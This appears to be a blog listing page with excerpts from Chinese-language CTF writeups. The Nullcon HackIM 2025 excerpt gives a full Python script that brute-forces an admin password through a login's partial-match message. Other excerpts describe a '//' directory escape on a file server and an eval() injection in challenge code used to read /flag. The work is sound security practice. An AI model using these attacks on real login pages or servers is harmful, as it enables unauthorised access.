Nullcon Berlin HackIM 2025 CTF writeup

這次跟社團開了一場 CTF,以下是我解的題目的解法,有些是用 AI 解再回去補知識的,尤其是 Crypto,所以內容可能不一定正確 Web grandmas_notes 網站是一個簡單的登入系統,根據題目檔案觀察,應該只有一個使用者 admin,登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。 問題出在 login.php 裡面裡面有說會回報正確的字元數,所以可以走 oracle 的方式去做比對然後破解,逐個字元爆破 1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!"; exploit.py 1import re 2import sys 3import time 4import random 5from typing import Optional 6import requests 7 8DEFAULT_BASE = "http://52.59.124.14:5015" 9CHARSET = ( 10 "abcdefghijklmnopqrstuvwxyz" 11 "0123456789" 12 "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~" 13 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 14 "'\"" 15) 16 17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE) 18 19def parse_flash_count(html: str) -> Optional[int]: 20 m = FLASH_RGX.search(html) 21 if not m: 22 return None 23 return int(m.group(1)) 24 25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]: 26 resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15) 27 if "Dashboard" in resp.text and "Logged in as" in resp.text: 28 return True, None 29 n = parse_flash_count(resp.text) 30 return False, n 31 32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str: 33 s = requests.Session() 34 prefix = "" 35 last_n = 0 36 print(f"[+] Target: {base} user={username}") 37 print("[+] Starting prefix oracle attack...") 38 for pos in range(max_len): 39 found = None 40 for c in CHARSET: 41 candidate = prefix + c 42 ok, n = attempt(s, base, username, candidate) 43 if ok: 44 print(f"[+] Logged in early with full password: {candidate}") 45 return candidate 46 if n is None: 47 time.sleep(0.2 + random.random() * 0.3) 48 ok2, n2 = attempt(s, base, username, candidate) 49 if ok2: 50 print(f"[+] Logged in early with full password: {candidate}") 51 return candidate 52 n = n2 53 if n is None: 54 print(f" [?] No flash parsed at pos={pos}, char={repr(c)} (continuing)") 55 continue 56 if n > last_n: 57 found = c 58 last_n = n 59 prefix = candidate 60 print(f"[{pos:02d}] ✓ Found next char: {repr(c)} -> prefix now: {prefix!r}") 61 break 62 if found is None: 63 print("[!] No candidate increased the match count.") 64 ok, _ = attempt(s, base, username, prefix) 65 if ok: 66 print(f"[+] Logged in with recovered password: {prefix}") 67 return prefix 68 else: 69 print("[!] Likely the next character is outside the current CHARSET.") 70 print(" Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).") 71 break 72 time.sleep(0.05) 73 return prefix 74 75 76def fetch_flag(base: str, s: requests.Session) -> Optional[str]: 77 r = s.get(f"{base}/dashboard.php", timeout=15) 78 if r.status_code != 200: 79 print(f"[!] Dashboard fetch failed: HTTP {r.status_code}") 80 return None 81 m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE) 82 if not m: 83 return None 84 note = m.group(1) 85 return note.strip() 86 87def main(): 88 base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE 89 username = "admin" 90 s = requests.Session() 91 recovered = recover_password(base, username=username, max_len=32) 92 ok, _ = attempt(s, base, username, recovered) 93 if not ok: 94 print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}") 95 sys.exit(2) 96 print(f"[+] Logged in as {username}. Fetching note...") 97 note = fetch_flag(base, s) 98 if note is None: 99 print("[!] Could not find the note textarea.") 100 sys.exit(3) 101 print("\n=== NOTE ===") 102 print(note) 103 print("============") 104 print("[*] If the note contains the flag, you're done!") 105 106if __name__ == "__main__": 107 main() pwgen source code ...

2025-09-06 · 21 min · 4326 words · YJK

AIS3 Pre-exam 2025 writeup

author:YJK ID:YJK Misc Welcome flag: AIS3{Welcome_And_Enjoy_The_CTF_!} 免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag Ramen CTF flag: AIS3{樂山溫泉拉麵:蝦拉麵} 圖片右邊有一張發票條碼沒有被擋 掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店 google 之後發現地址是 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號 此地址在 google map 上是 樂山溫泉拉麵 AIS3 Tiny Server - Web / Misc flag: AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe} 雖然題目敘述說建議 local 先解解看,但我直接開 instance, 點進去會發現是題目簡介網頁,並發現網址給了 index.html 另外題目有給小提示,專注在第一個提示就好 因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺 不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案 ...

2025-07-01 · 11 min · 2304 words · YJK

AIS3 mfctf & pre-exam 2024 writeup

Web Evil Calculator 網頁是一個簡單的計算機程式 透過攔截封包與 app.py 程式碼會發現他是將結果傳 POST 請求到 /calculate,並傳入 eval 做計算,所以可以傳入程式碼做解析,接下來看到 app.py 會發現傳送過去的 expression 空格跟底線都會被過濾,所以應該是不可以 import 其他東西,接下來看到 docker-compose.yml 可知 flag 在 /flag,因此直接透過開檔讀檔拿到 flag app.py 1from flask import Flask, request, jsonify, render_template 2 3app = Flask(__name__) 4 [email protected]('/calculate', methods=['POST']) 6def calculate(): 7 data = request.json 8 expression = data['expression'].replace(" ","").replace("_","") 9 try: 10 result = eval(expression) 11 except Exception as e: 12 result = str(e) 13 return jsonify(result=str(result)) 14 [email protected]('/') 16def index(): 17 return render_template('index.html') 18 19if __name__ == '__main__': 20 app.run("0.0.0.0",5001) docker-compose.yml ...

2024-07-01 · 5 min · 910 words · YJK